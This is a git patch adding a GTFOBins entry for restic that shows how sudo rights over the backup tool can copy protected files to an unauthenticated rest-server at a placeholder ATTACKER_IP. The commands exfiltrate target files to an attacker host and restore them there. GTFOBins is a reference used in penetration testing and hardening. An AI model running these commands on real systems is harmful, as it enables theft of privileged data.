From b2a2b3a5f07a15c18a98fa241b4a552b75bbf8b5 Mon Sep 17 00:00:00 2001 From: PreethamBomma <41102108+PreethamBomma@users.noreply.github.com> Date: Mon, 6 Apr 2020 22:20:51 +0530 Subject: [PATCH] Add restic.md --- _gtfobins/restic.md | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) create mode 100644 _gtfobins/restic.md diff --git a/_gtfobins/restic.md b/_gtfobins/restic.md new file mode 100644 index 0000000..00d2d1f --- /dev/null +++ b/_gtfobins/restic.md @@ -0,0 +1,18 @@ +--- +functions: + sudo: + - description: Restic can be used to backup files. Run the commands in the sequence given below. + code: | + + rest-server --no-auth --listen http://ATTACKER_IP:PORT + + TARGET=rest_repository + BACKUP=file_or_directory_to_backup + sudo restic init -r rest:http://ATTACKER_IP:PORT/$TARGET + sudo restic backup -r rest:http://ATTACKER_IP:PORT/$TARGET $BACKUP + + TARGET=rest_repository + DESTINATION=backup_to_restore + mkdir /tmp/restic/$DESTINATION + restic restore -r /tmp/restic/$TARGET latest --target /tmp/restic/$DESTINATION +---